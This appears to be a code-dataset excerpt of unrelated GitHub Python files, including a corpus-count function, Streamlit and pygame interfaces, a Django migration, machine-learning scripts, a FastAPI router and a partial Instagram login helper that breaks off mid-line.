cwb-scan-corpus.\n Currently only used for searches on [] (any word).\"\"\"\n\n if use_cache:\n checksum = utils.get_hash((cqp,\n group_by,\n within,\n sorted(ignore_case),\n expand_prequeries))\n\n with memcached.get_client() as mc:\n prefix = utils.cache_prefix(mc, corpus)\n cache_key = \"%s:count_data_%s\" % (prefix, checksum)\n cache_size_key = \"%s:count_size_%s\" % (prefix, checksum)\n\n cached_size = mc.get(cache_size_key)\n if cached_size is not None:\n corpus_hits, corpus_size = cached_size\n if corpus_hits == 0:\n return [], corpus_hits, corpus_size\n\n cached_result = mc.get(cache_key)\n if cached_result is not None:\n return cached_result, corpus_hits, corpus_size\n\n lines = list(cwb.run_cwb_scan(corpus, [g[0] for g in group_by], abort_event=abort_event))\n nr_hits = 0\n\n ic_index = []\n new_lines = {}\n if ignore_case:\n ic_index = [i for i, g in enumerate(group_by) if g[0] in ignore_case]\n\n for i in range(len(lines)):\n c, v = lines[i].split(\"\\t\", 1)\n nr_hits += int(c)\n\n if ic_index:\n v = \"\\t\".join(vv.lower() if i in ic_index else vv for i, vv in enumerate(v.split(\"\\t\")))\n new_lines[v] = new_lines.get(v, 0) + int(c)\n else:\n # Convert result to the same format as the regular CQP count\n lines[i] = \"%s %s\" % (c, v)\n\n if ic_index:\n lines = []\n for v, c in new_lines.items():\n # Convert result to the same format as the regular CQP count\n lines.append(\"%s %s\" % (c, v))\n\n if use_cache:\n with memcached.get_client() as mc:\n mc.add(cache_size_key, (nr_hits, nr_hits))\n\n # Only save actual data if number of lines doesn't exceed the limit\n if len(lines) <= cache_max:\n lines = tuple(lines)\n try:\n mc.add(cache_key, lines)\n except MemcacheError:\n pass\n\n # Corpus size equals number of hits since we count all tokens\n return lines, nr_hits, nr_hits\n","repo_name":"spraakbanken/korp-backend","sub_path":"korp/views/count.py","file_name":"count.py","file_ext":"py","file_size_in_byte":32802,"program_lang":"python","lang":"en","doc_type":"code","stars":15,"dataset":"github-code","pt":"7"} +{"seq_id":"16663900850","text":"from functions.get_classifier import *\r\nfrom functions.get_plot import *\r\n\r\nimport streamlit as st\r\n\r\nfrom sklearn.model_selection import train_test_split\r\nfrom sklearn.metrics import accuracy_score\r\n\r\ndef get_best_classifier(X, y):\r\n \r\n accuracies = {}\r\n classifiers = ['k-NN', 'SVC', 'Perceptron', 'Decision Tree', 'Random Forest']\r\n \r\n for classifier in classifiers:\r\n \r\n clf = get_best_model(classifier)\r\n\r\n # Train Test Split\r\n\r\n X_train, X_test, y_train, y_test = train_test_split(\\\r\n X, y, test_size=0.25, random_state=46)\r\n\r\n # Fit Data\r\n\r\n clf.fit(X_train, y_train)\r\n y_pred = clf.predict(X_test)\r\n\r\n # Metrics\r\n\r\n accuracies[classifier] = accuracy_score(y_test, y_pred)\r\n \r\n max_class = max(accuracies, key=accuracies.get)\r\n \r\n classifier_name = st.sidebar.selectbox(\r\n 'Choose Classifier',\r\n ('None', 'k-NN', 'SVC', 'Perceptron', 'Decision Tree', 'Random Forest'),\r\n index=classifiers.index(max_class) + 1\r\n )\r\n \r\n return classifier_name\r\n\r\ndef get_best_model(clf_name):\r\n \r\n clf = None\r\n \r\n if clf_name == 'k-NN':\r\n clf = KNeighborsClassifier()\r\n \r\n elif clf_name == 'SVC':\r\n clf = SVC()\r\n \r\n elif clf_name == 'Perceptron':\r\n clf = Perceptron()\r\n \r\n elif clf_name == 'Decision Tree':\r\n clf = DecisionTreeClassifier()\r\n \r\n elif clf_name == 'Random Forest':\r\n clf = RandomForestClassifier()\r\n \r\n return clf\r\n\r\ndef get_best_result(classifier_name, X, y):\r\n \r\n clf = get_best_model(classifier_name)\r\n\r\n X_train, X_test, y_train, y_test = train_test_split(\\\r\n X, y, test_size=0.25, random_state=46)\r\n\r\n clf.fit(X_train, y_train)\r\n y_pred = clf.predict(X_test)\r\n\r\n acc = accuracy_score(y_test, y_pred)\r\n\r\n st.markdown(\"

    \\\r\n The Comparison Between Actual and Predicted Label

    \", \r\n unsafe_allow_html=True)\r\n\r\n col1, col2 = st.beta_columns(2)\r\n \r\n col1.markdown(\"

    Actual

    \", \r\n unsafe_allow_html=True)\r\n col1.markdown('####')\r\n get_plot_data(X_test, y_test, col1, (5, 4))\r\n\r\n col2.markdown(\"

    Predicted

    \", \r\n unsafe_allow_html=True)\r\n col2.markdown('####')\r\n get_plot_data(X_test, y_pred, col2, (5, 4))\r\n \r\n st.markdown(f\"

    \\\r\n {'Accuracy : ' + str(acc)}

    \", \r\n unsafe_allow_html=True)","repo_name":"myarist/Interactive-Machine-Learning-Dashboard","sub_path":"functions/get_best.py","file_name":"get_best.py","file_ext":"py","file_size_in_byte":2604,"program_lang":"python","lang":"en","doc_type":"code","stars":4,"dataset":"github-code","pt":"7"} +{"seq_id":"30202902186","text":"from modules.Settings import *\nfrom modules.Sprites import noteicons_group\nfrom modules.Button import Button\nimport pygame\n\n\nclass GamePauseInterface:\n \"\"\"Класс реализует отрисовку игровой паузы.\"\"\"\n def __init__(self, game):\n self.game = game\n self.menu_sprites_group = pygame.sprite.Group()\n\n self.restart_button = Button(\n 'РЕСТАРТ', ON_MENU_BUTTON_RESTART, self.game)\n self.exit_button = Button(\"ВЫХОД\", ON_MENU_BUTTON_EXIT, self.game)\n self.next_level = Button('ПРОПУСК УРОВНЯ', ON_MENU_BUTTON_NEXT_LEVEL, self.game)\n \n\n self.initUi()\n\n def initUi(self):\n self.restart_button.move_bc(HALF_WIDTH, HALF_HEIGHT - 100)\n self.restart_button.color = RED\n self.restart_button.background_color = DARKGRAY\n self.exit_button.move_bc(HALF_WIDTH, HALF_HEIGHT + 200)\n self.exit_button.color = RED\n self.exit_button.background_color = DARKGRAY\n self.next_level.move_bc(HALF_WIDTH, HALF_HEIGHT + 50)\n self.next_level.color = RED\n self.next_level.background_color = DARKGRAY\n\n def render(self):\n \"\"\"Метод рендерит на экране элементы интерфейса\"\"\"\n self.game.screen.blit(self.game.contols_picture, (WIDTH - self.game.contols_picture.get_width(), HEIGHT - self.game.contols_picture.get_height()))\n pause_text = self.game.font.render('ПАУЗА', 1, RED)\n self.game.screen.blit(pause_text, (HALF_WIDTH - pause_text.get_width() // 2, HALF_HEIGHT - pause_text.get_height() - 300))\n self.restart_button.draw()\n self.exit_button.draw()\n self.next_level.draw()\n\n\nclass WinInterface:\n \"\"\"Класс реализует отрисовку экрана победы.\"\"\"\n def __init__(self, game):\n self.game = game\n\n self.start_button = Button(\n \"РЕСТАРТ\", ON_MENU_BUTTON_RESTART, self.game)\n self.exit_button = Button(\"ВЫХОД\", ON_MENU_BUTTON_EXIT, self.game)\n\n self.initUi()\n\n def initUi(self):\n self.start_button.move_bc(10 + (self.start_button.width // 2), HALF_HEIGHT)\n self.start_button.color = MENU_BUTTON_START_COLOR\n self.exit_button.move_bc(\n 10 + (self.exit_button.width // 2), HALF_HEIGHT + 150)\n self.exit_button.color = MENU_BUTTON_EXIT_COLOR\n\n def render(self):\n \"\"\"Метод рендерит на экране элементы интерфейса\"\"\"\n # Задний фон\n self.game.screen.blit(self.game.win_picture, (0, 0),\n (0, 0, WIDTH, HEIGHT))\n\n # Кнопки\n self.start_button.draw()\n self.exit_button.draw()\n\n # Лого\n label = self.game.font.render('YOU WIN', 1, MENU_TITLE_COLOR)\n self.game.screen.blit(label, (\n 10, HEIGHT // 2 - 200))\n\n\nclass MenuInterface:\n \"\"\"Класс реализует отрисовку игрового меню.\"\"\"\n def __init__(self, game):\n self.game = game\n\n self.start_button = Button(\"НАЧАТЬ\", ON_MENU_BUTTON_START, self.game)\n self.exit_button = Button(\"ВЫХОД\", ON_MENU_BUTTON_EXIT, self.game)\n\n self.initUi()\n\n def initUi(self):\n self.start_button.move_bc(HALF_WIDTH, HALF_HEIGHT)\n self.start_button.color = MENU_BUTTON_START_COLOR\n self.exit_button.move_bc(HALF_WIDTH, HALF_HEIGHT + 150)\n self.exit_button.color = MENU_BUTTON_EXIT_COLOR\n\n def render(self):\n \"\"\"Метод рендерит на экране элементы интерфейса\"\"\"\n # Задний фон\n self.game.screen.blit(self.game.menu_picture, (0, 0),\n (0, 0, WIDTH, HEIGHT))\n\n # Кнопки\n self.start_button.draw()\n self.exit_button.draw()\n\n # Лого\n label = self.game.font.render('Evil Stuff', 1, MENU_TITLE_COLOR)\n self.game.screen.blit(label, (\n WIDTH // 2 - label.get_width() // 2, HEIGHT // 2 - 200))\n \n # Управление\n self.game.screen.blit(self.game.contols_picture, (WIDTH - self.game.contols_picture.get_width(), HEIGHT - self.game.contols_picture.get_height()))\n\nclass GameOverInterface:\n \"\"\"Класс реализует отрисовку поражения.\"\"\"\n def __init__(self, game):\n self.game = game\n self.restart_button = Button(\n \"РЕСТАРТ\", ON_MENU_BUTTON_RESTART, self.game)\n self.exit_button = Button(\"ВЫХОД\", ON_MENU_BUTTON_EXIT, self.game)\n self.title = self.game.font.render(\"GAME OVER\", 1, YELLOW)\n\n self.initUi()\n\n def initUi(self):\n self.restart_button.move_bc(HALF_WIDTH, HALF_HEIGHT)\n self.restart_button.color = RED\n self.restart_button.background_color = YELLOW\n self.exit_button.move_bc(HALF_WIDTH, HALF_HEIGHT + 150)\n self.exit_button.color = RED\n self.exit_button.background_color = YELLOW\n\n def render(self):\n \"\"\"Метод рендерит на экране элементы интерфейса\"\"\"\n self.game.screen.blit(self.title, (HALF_WIDTH - self.title.get_width() // 2,\n HALF_HEIGHT - self.title.get_height() // 2 - 150))\n self.restart_button.draw()\n self.exit_button.draw()\n\n\nclass PlayerInterface:\n \"\"\"Класс реализует отрисовку интерфейса, связанного с состоянием игрока.\"\"\"\n def __init__(self, game):\n self.game = game\n\n def render(self):\n \"\"\"Метод рендерит на экране элементы интерфейса\"\"\"\n ammo_text = self.game.font_mini.render(\n str(self.game.player.weapon.ammo) + \" | \" + str(self.game.player.weapon.max_ammo), 1, WHITE)\n self.game.screen.blit(\n ammo_text, (WIDTH - ammo_text.get_width(), ammo_text.get_height()))\n self.game.drawer.interface(self.game.player)\n\n def render_crosshair(self):\n \"\"\"Метод рендерит на экране прицел оружия\"\"\"\n pygame.draw.line(self.game.screen, RED, (HALF_WIDTH - 5,\n HALF_HEIGHT), (HALF_WIDTH + 5, HALF_HEIGHT), 2)\n pygame.draw.line(self.game.screen, RED, (HALF_WIDTH,\n HALF_HEIGHT - 5), (HALF_WIDTH, HALF_HEIGHT + 5), 2)\n\n\nclass LabirintInterface:\n \"\"\"Класс реализует отрисовку элементов интерфейса, только на первом уровне.\"\"\"\n def __init__(self, game):\n self.game = game\n\n self.note_group = pygame.sprite.Group()\n self.notes = [note for note in self.game.sprites.objects_list if\n note.flag == \"note\"]\n self.update_notes_list()\n\n def update_notes_list(self):\n \"\"\"Метод рендерит список записок.\"\"\"\n count = 0\n for i in range(len(self.game.sprites.objects_list)):\n sprite = self.game.sprites.objects_list[\n len(self.game.sprites.objects_list) - i - 1]\n if sprite.flag == 'note':\n sprite.noteIcon.move((WIDTH - 70) - count * 50, 10)\n count += 1\n\n def render(self):\n \"\"\"Метод рендерит на экране элементы интерфейса\"\"\"\n noteicons_group.draw(self.game.screen)\n noteicons_group.update()\n\nclass LevelsInterface:\n def __init__(self, game):\n self.game = game\n\n def render(self):\n \"\"\"Метод рендерит на экране элементы интерфейса\"\"\"\n self.game.player_interface.render_crosshair()\n\n\nclass Tips:\n \"\"\"Класс реализует отрисовку подсказок на клавишу Tab на игровых уровнях.\"\"\"\n def __init__(self, game):\n self.game = game\n\n def render(self):\n \"\"\"Метод рендерит на экране элементы интерфейса\"\"\"\n if self.game.render_tips:\n for tip in range(len(self.game.current_level.tips)):\n text = self.game.font_mini.render(\n self.game.current_level.tips[tip], 1, WHITE)\n self.game.screen.blit(\n text, (HALF_WIDTH - text.get_width() // 2, 100 + tip * 50))\n","repo_name":"LorezV/pygame-evill-stuff","sub_path":"modules/Interface.py","file_name":"Interface.py","file_ext":"py","file_size_in_byte":8454,"program_lang":"python","lang":"ru","doc_type":"code","stars":1,"dataset":"github-code","pt":"7"} +{"seq_id":"71865404702","text":"# -*- coding: utf-8 -*-\nfrom __future__ import unicode_literals\n\nfrom django.db import models, migrations\n\n\nclass Migration(migrations.Migration):\n\n dependencies = [\n ('financeiro', '0002_auto_20150528_0926'),\n ]\n\n operations = [\n migrations.AddField(\n model_name='recarga',\n name='valor',\n field=models.ForeignKey(default=1, verbose_name='Valor', to='financeiro.ValorRecarga'),\n ),\n ]\n","repo_name":"chicosilva/csms","sub_path":"financeiro/migrations/0003_recarga_valor.py","file_name":"0003_recarga_valor.py","file_ext":"py","file_size_in_byte":452,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"7"} +{"seq_id":"34230093203","text":"from tensorflow.keras import Sequential\nfrom tensorflow.keras.layers import Dense, LSTM, Dropout\nimport pandas as pd\nimport numpy as np\nimport matplotlib.pyplot as plt\nfrom common.db_handler.mongodb_handler import MongoDBHandler\n\nmongodb = MongoDBHandler()\nresults = list(mongodb.find_items({'shcode':'035420'}, \"stock\", \"daily_price\"))\n\n# JSON => dataframe으로 변환\ndf = pd.DataFrame.from_dict(results, orient='columns')\n\ndf.close = df.close.astype(float)\ndf.open = df.open.astype(float)\ndf['high'] = df['high'].astype(float)\ndf['low'] = df['low'].astype(float)\ndf['volume'] = df['jdiff_vol'].astype(float)\n\nraw_df = df\n\n# mk = Analyzer.MarketDB()\n# raw_df = mk.get_daily_price('삼성전자', '2018-05-04', '2020-01-22')\n\nwindow_size = 10 # \ndata_size = 5\n\ndef MinMaxScaler(data):\n \"\"\"최솟값과 최댓값을 이용하여 0 ~ 1 값으로 변환\n 숫자 단위가 클수록 계산에 소요되는 시간이 늘어나므로\n \"\"\"\n numerator = data - np.min(data, 0)\n denominator = np.max(data, 0) - np.min(data, 0)\n # 0으로 나누기 에러가 발생하지 않도록 매우 작은 값(1e-7)을 더해서 나눔\n return numerator / (denominator + 1e-7)\n\ndfx = raw_df[['open','high','low','volume', 'close']]\ndfx = MinMaxScaler(dfx)\ndfy = dfx[['close']]\n\nx = dfx.values.tolist()\ny = dfy.values.tolist()\n\ndata_x = []\ndata_y = []\nfor i in range(len(y) - window_size):\n _x = x[i : i + window_size] # 다음 날 종가(i+windows_size)는 포함되지 않음\n _y = y[i + window_size] # 다음 날 종가\n data_x.append(_x)\n data_y.append(_y)\nprint(_x, \"->\", _y)\n\ntrain_size = int(len(data_y) * 0.7)\nprint(\"train_size :\", train_size)\ntrain_x = np.array(data_x[0 : train_size])\ntrain_y = np.array(data_y[0 : train_size])\n\ntest_size = len(data_y) - train_size\ntest_x = np.array(data_x[train_size : len(data_x)])\ntest_y = np.array(data_y[train_size : len(data_y)])\n\n# 모델 생성\nmodel = Sequential()\nmodel.add(LSTM(units=10, activation='relu', return_sequences=True, input_shape=(window_size, data_size)))\nmodel.add(Dropout(0.1)) # 과적합 방지\nmodel.add(LSTM(units=10, activation='relu'))\nmodel.add(Dropout(0.1))\nmodel.add(Dense(units=1)) # 유닛이 하나인 출력층을 추가\nmodel.summary()\n\nmodel.compile(optimizer='adam', loss='mean_squared_error') # 최적화 도구는 adam, 손실함수는 평균 제곱오차\nmodel.fit(train_x, train_y, epochs=60, batch_size=30) # epochs는 전체 데이터셋에 대한 학습횟수, batch_size는 한번에 제공되는 훈련데이터 개수\npred_y = model.predict(test_x)\n\n# Visualising the results\nplt.figure()\nplt.plot(test_y, color='red', label='real SEC stock price')\nplt.plot(pred_y, color='blue', label='predicted SEC stock price')\nplt.title('SEC stock price prediction')\nplt.xlabel('time')\nplt.ylabel('stock price')\nplt.legend()\nplt.show()\n\n# raw_df.close[-1] : dfy.close[-1] = x : pred_y[-1]\n# 내일의 종가 출력\n# print(\"raw_df.close[-1]\", raw_df.close[-1])\nprint(\"pred_y[-1]\", pred_y[-1])\nprint(\"pred_y[-1]\", pred_y)\nprint(\"=================================================\")\nprint(\"dfy.close[-1]\", dfy.close)\nprint(\"dfy[-1]\", dfy)\n# print(\"Tomorrow's SEC price :\", raw_df.close[-1] * pred_y[-1] / dfy.close[-1], 'KRW')","repo_name":"jinsu-Jang/AIStock","sub_path":"MLAnalyzer/tests/RNN_StockPrediction.py","file_name":"RNN_StockPrediction.py","file_ext":"py","file_size_in_byte":3233,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"7"} +{"seq_id":"30878057159","text":"from typing import List\nfrom fastapi import APIRouter, Depends, HTTPException, status\nfrom src.repositories.counter import CounterRepository\nfrom src.api.dependencies.repository import get_repository\nfrom src.schemas.counter import CounterSchema\n\nrouter = APIRouter(prefix=\"/counter\", tags=[\"counter\"])\n\n\n@router.get(\n \"/{user_id}/\",\n name=\"get_counter_list\",\n response_model=List[CounterSchema],\n)\nasync def get_counter_list(\n user_id: int,\n repository: CounterRepository = Depends(get_repository(CounterRepository)),\n):\n return await repository.list(user_id)\n\n\n@router.get(\n \"/{user_id}/{chat_id}/\",\n name=\"get_counter\",\n response_model=CounterSchema,\n)\nasync def get_counter(\n user_id: int,\n chat_id: int,\n repository: CounterRepository = Depends(get_repository(CounterRepository)),\n):\n counter = await repository.get(user_id, chat_id)\n if counter is None:\n raise HTTPException(status_code=status.HTTP_404_NOT_FOUND)\n return counter\n\n\n@router.post(\n \"/inc/\",\n name=\"inc_counter\",\n response_model=CounterSchema,\n status_code=status.HTTP_201_CREATED,\n)\nasync def inc_counter(\n counter: CounterSchema,\n repository: CounterRepository = Depends(get_repository(CounterRepository)),\n):\n return await repository.append(counter)\n\n\n@router.post(\n \"/dec/\",\n name=\"dec_counter\",\n response_model=CounterSchema,\n status_code=status.HTTP_201_CREATED,\n)\nasync def dec_counter(\n counter: CounterSchema,\n repository: CounterRepository = Depends(get_repository(CounterRepository)),\n):\n return await repository.decrement(counter)\n","repo_name":"mii13/otus_highload_architect_hw","sub_path":"counter-service/src/api/routers/counter.py","file_name":"counter.py","file_ext":"py","file_size_in_byte":1607,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"7"} +{"seq_id":"31892865097","text":"# import sys\n#\n# n=(str(sys.stdin.readline().strip()))\n# visited=[0]*len(n)\n# s=[]\n# y=[]\n#\n# def dfs():\n# if len(n)==len(s):\n# y.append(int(''.join(s)))\n# return\n#\n# for i in range(len(n)):\n# if visited[i]==0:\n# s.append(n[i])\n# visited[i]=1\n# dfs()\n# s.pop()\n# visited[i]=0\n#\n# dfs()\n# y.sort()\n# for x in y:\n# if x > int(n):\n# print(x)\n# exit()\n# print(0)\n\n\n\nimport sys\nfrom itertools import permutations\nn=str(sys.stdin.readline().strip())\nk=permutations(n)\nkk=[]\nv=[0]*len(n)\nfor v in k:\n kk.append(''.join(v))\nc=list(map(int,kk))\nc.sort()\nfor x in c:\n if x > int(n):\n print(x)\n exit()\nprint(0)","repo_name":"nyeongha/algo","sub_path":"2992.py","file_name":"2992.py","file_ext":"py","file_size_in_byte":731,"program_lang":"python","lang":"en","doc_type":"code","stars":1,"dataset":"github-code","pt":"7"} +{"seq_id":"5450861807","text":"# -*- coding: utf-8 -*-\r\n\"\"\"\r\nCreated on Thu Jul 18 07:16:01 2019\r\n\r\n@author: chandu\r\n\"\"\"\r\n\r\n##Importing Libraries\r\n\r\nimport numpy as np\r\nimport pandas as pd\r\nimport matplotlib.pyplot as plt\r\n\r\n\r\n## Importing dataset\r\n\r\ndataset = pd.read_csv('iris.data', header = None)\r\nX = dataset.iloc[:,0:2].values\r\nY = dataset.iloc[:,4].values\r\n\r\n# Encoding categorical data\r\nfrom sklearn.preprocessing import LabelEncoder, OneHotEncoder\r\nlabelencoder = LabelEncoder()\r\nY = labelencoder.fit_transform(Y)\r\nonehotencoder = OneHotEncoder(categorical_features = [3])\r\nY = onehotencoder.fit_transform(Y).toarray()\r\n\r\n# Splitting the dataset into the Training set and Test set\r\nfrom sklearn.model_selection import train_test_split\r\nX_train, X_test, y_train, y_test = train_test_split(X, Y, test_size = 0.2, random_state = 0)\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n# Fitting Multiple Linear Regression to the Training set\r\nfrom sklearn.linear_model import LinearRegression\r\nregressor = LinearRegression()\r\nregressor.fit(X_train, y_train)\r\n\r\n# Predicting the Test set results\r\ny_pred = regressor.predict(X_test)\r\n\r\nimport statsmodels.formula.api as sm\r\nX = np.append(arr = np.ones((50,1)).astype(int),values=X,axis=1)\r\nX_opt= X[:,[0,1,2,3,4,5]]\r\nregressor_OLS = sm.OLS(endog=Y , exog = X_opt).fit()\r\nregressor_OLS.summary()\r\n## When seen summary of the output the P_Value of the X2 variable is very larger than 0.5 so,according to Backward elimination we remve the variable and remodel the regressor\r\n## Removing the 1,2& 4 columns as they have high p values\r\nX_opt= X[:,[0,3,5]]\r\nregressor_OLS = sm.OLS(endog=Y , exog = X_opt).fit()\r\nregressor_OLS.summary()\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n## Logistic Regression\r\nfrom sklearn.linear_model import LogisticRegression\r\nclassifier = LogisticRegression(solver='lbfgs', random_state = 0, multi_class = 'multinomial')\r\nclassifier.fit(X_train, y_train)\r\n\r\n# Predicting the Test set results\r\ny_pred = classifier.predict(X_test)\r\n\r\n\r\n\r\n## Plotting Purpose\r\n## If needed to plot then no need split the data into train and test sets\r\n\r\nx_min, x_max = X[:, 0].min() - .5, X[:, 0].max() + .5\r\ny_min, y_max = X[:, 1].min() - .5, X[:, 1].max() + .5\r\nh = .02 # step size in the mesh\r\nxx, yy = np.meshgrid(np.arange(x_min, x_max, h), np.arange(y_min, y_max, h))\r\nZ = classifier.predict(np.c_[xx.ravel(), yy.ravel()])\r\n\r\n\r\n\r\n\r\n# Put the result into a color plot\r\nZ = Z.reshape(xx.shape)\r\nplt.figure(1, figsize=(4, 3))\r\nplt.pcolormesh(xx, yy, Z, cmap=plt.cm.Paired)\r\n\r\n# Plot also the training points\r\nplt.scatter(X[:, 0], X[:, 1], c=Y, edgecolors='k', cmap=plt.cm.Paired)\r\nplt.xlabel('Sepal length')\r\nplt.ylabel('Sepal width')\r\n\r\nplt.xlim(xx.min(), xx.max())\r\nplt.ylim(yy.min(), yy.max())\r\nplt.xticks(())\r\nplt.yticks(())\r\n\r\nplt.show()\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n","repo_name":"chandrikaavvaru01/Machine-Learning-Projects","sub_path":"IRIS_Codes.py","file_name":"IRIS_Codes.py","file_ext":"py","file_size_in_byte":2739,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"7"} +{"seq_id":"71509027742","text":"from .Import import *\n\nclass AuthLogin:\n\n def Login(self, username, password, cookie = True, proxy=None):\n self.username = username\n self.password = password\n self.cookie = cookie\n self.proxy = proxy\n\n self.path = os.getcwd()\n\n if self.cookie == False or os.path.exists(self.path+f'//cookie_{self.username}.bot') == False:\n link = 'https://www.instagram.com/'\n login_url = 'https://www.instagram.com/accounts/login/ajax/'\n\n current_time = int(datetime.now().timestamp())\n response = requests.get(link, proxies=self.proxy)\n try:\n csrf = response.cookies['csrftoken']\n except:\n letters = string.ascii_lowercase\n csrf = ''.join(random.choice(letters) for i in range(8))\n\n payload = {\n 'username': self.username,\n 'enc_password': f'#PWD_INSTAGRAM_BROWSER:0:{current_time}:{self.password}',\n 'queryParams': {},\n 'optIntoOneTap': 'false'\n }\n\n login_header = {\n \"User-Agent\": \"Mozilla/5.0 (Windows NT 6.1) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/77.0.3865.120 Safari/537.36\",\n \"X-Requested-With\": \"XMLHttpRequest\",\n \"Referer\": \"https://www.instagram.com/accounts/login/\",\n \"x-csrftoken\": csrf\n }\n\n login_response = requests.post(login_url, data=payload, headers=login_header, proxies=self.proxy)\n json_data = json.loads(login_response.text)\n\n cookies = login_response.cookies\n cookie_jar = cookies.get_dict()\n try:\n self.csrf_token = cookie_jar['csrftoken']\n except:\n self.csrf_token = csrf\n\n try:\n if json_data[\"authenticated\"]:\n pass\n else:\n print(bcolors.FAIL+\"[✗] Login Failed!\"+bcolors.ENDC, login_response.text)\n quit()\n except KeyError:\n try:\n if json_data[\"two_factor_required\"]:\n self.ig_nrcb = cookie_jar['ig_nrcb']\n self.ig_did = cookie_jar['ig_did']\n self.mid = cookie_jar['mid']\n\n otp = input(bcolors.OKBLUE+'[!] Two Factor Auth. Detected! Enter Code Here: '+bcolors.ENDC)\n twofactor_url = 'https://www.instagram.com/accounts/login/ajax/two_factor/'\n twofactor_payload = {\n 'username': self.username,\n 'verificationCode': otp,\n 'identifier': json_data[\"two_factor_info\"][\"two_factor_identifier\"],\n 'queryParams': {}\n }\n\n twofactor_header = {\n \"accept\": \"*/*\",\n \"accept-encoding\": \"gzip, deflate, br\",\n \"accept-language\": \"en-US,en;q=0.9\",\n \"content-type\": \"application/x-www-form-urlencoded\",\n \"cookie\": 'ig_did='+self.ig_did+'; ig_nrcb='+self.ig_nrcb+'; csrftoken='+self.csrf_token+'; mid='+self.mid,\n \"origin\": \"https://www.instagram.com\",\n \"referer\": \"https://www.instagram.com/accounts/login/two_factor?next=%2F\",\n \"sec-fetch-dest\": \"empty\",\n \"sec-fetch-mode\": \"cors\",\n \"sec-fetch-site\": \"same-origin\",\n \"user-agent\": \"Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/86.0.4240.111 Safari/537.36\",\n \"x-csrftoken\": self.csrf_token,\n \"x-ig-app-id\": \"936619743392459\",\n \"x-ig-www-claim\": \"0\",\n \"x-instagram-ajax\": \"00c4537694a4\",\n \"x-requested-with\": \"XMLHttpRequest\"\n }\n\n login_response = requests.post(twofactor_url, data=twofactor_payload, headers=twofactor_header, proxies=self.proxy)\n try:\n if login_response.headers['Set-Cookie'] != 0:\n pass\n except:\n try:\n if json_data[\"message\"]==\"checkpoint_required\":\n self.ig_nrcb = cookie_jar['ig_nrcb']\n self.ig_did = cookie_jar['ig_did']\n self.mid = cookie_jar['mid']\n url='https://www.instagram.com'+json_data['checkpoint_url']\n header = {\n \"accept\": \"*/*\",\n \"accept-encoding\": \"gzip, deflate, br\",\n \"accept-language\": \"en-US,en;q=0.9\",\n \"content-type\": \"application/x-www-form-urlencoded\",\n \"cookie\": 'ig_did='+self.ig_did+'; ig_nrcb='+self.ig_nrcb+'; csrftoken='+self.csrf_token+'; mid='+self.mid,\n \"origin\": \"https://www.instagram.com\",\n \"referer\": 'https://instagram.com'+json_data['checkpoint_url'],\n \"sec-fetch-dest\": \"empty\",\n \"sec-fetch-mode\": \"cors\",\n \"sec-fetch-site\": \"same-origin\",\n \"user-agent\": \"Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/86.0.4240.111 Safari/537.36\",\n \"x-csrftoken\": self.csrf_token,\n \"x-ig-app-id\": \"936619743392459\",\n \"x-ig-www-claim\": \"0\",\n \"x-instagram-ajax\": \"e8e20d8ba618\",\n \"x-requested-with\": \"XMLHttpRequest\"\n }\n code=input(bcolors.OKBLUE+json.loads(requests.post(url, headers=header, data={'choice': '1'}).text, proxies=self.proxy)['extraData']['content'][1]['text']+' > '+bcolors.ENDC)\n if json.loads(requests.post(url, headers=header, data={'security_code': code}).text, proxies=self.proxy)['type']=='CHALLENGE_REDIRECTION':\n login_response = requests.post(login_url, data=payload, headers=login_header, proxies=self.proxy)\n else:\n print(bcolors.FAIL+'[✗] Login Failed!'+bcolors.ENDC)\n quit()\n except:\n print(bcolors.FAIL+'[✗] Login Failed!'+bcolors.ENDC)\n quit()\n\n except KeyError:\n try:\n if json_data[\"message\"]==\"checkpoint_required\":\n self.ig_nrcb = cookie_jar['ig_nrcb']\n self.ig_did = cookie_jar['ig_did']\n self.mid = cookie_jar['mid']\n url='https://www.instagram.com'+json_data['checkpoint_url']\n header = {\n \"accept\": \"*/*\",\n \"accept-encoding\": \"gzip, deflate, br\",\n \"accept-language\": \"en-US,en;q=0.9\",\n \"content-type\": \"application/x-www-form-urlencoded\",\n \"cookie\": 'ig_did='+self.ig_did+'; ig_nrcb='+self.ig_nrcb+'; csrftoken='+self.csrf_token+'; mid='+self.mid,\n \"origin\": \"https://www.instagram.com\",\n \"referer\": 'https://instagram.com'+json_data['checkpoint_url'],\n \"sec-fetch-dest\": \"empty\",\n \"sec-fetch-mode\": \"cors\",\n \"sec-fetch-site\": \"same-origin\",\n \"user-agent\": \"Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/86.0.4240.111 Safari/537.36\",\n \"x-csrftoken\": self.csrf_token,\n \"x-ig-app-id\": \"936619743392459\",\n \"x-ig-www-claim\": \"0\",\n \"x-instagram-ajax\": \"e8e20d8ba618\",\n \"x-requested-with\": \"XMLHttpRequest\"\n }\n code=input(bcolors.OKBLUE+json.loads(requests.post(url, headers=header, data={'choice': '1'}).text, proxies=self.proxy)['extraData']['content'][1]['text']+' > '+bcolors.ENDC)\n if json.loads(requests.post(url, headers=header, data={'security_code': code}).text, proxies=self.proxy)['type']=='CHALLENGE_REDIRECTION':\n login_response = requests.post(login_url, data=payload, headers=login_header, proxies=self.proxy)\n else:\n print(bcolors.FAIL+'[✗] Login Failed!'+bcolors.ENDC)\n quit()\n except:\n print(bcolors.FAIL+'[✗] Login Failed!'+bcolors.ENDC)\n quit()\n\n self.sessionid = login_response.headers['Set-Cookie'].split('sessionid=')[1].split(';')[0] \n self.userId = login_response.headers['Set-Cookie'].split('ds_user_id=')[1].split(';')[0] \n self.cookie = \"sessionid=\" + self.sessionid + \"; csrftoken=\" + self.csrf_token + \"; ds_user_id=\" + self.userId + \";\"\n create_cookie = 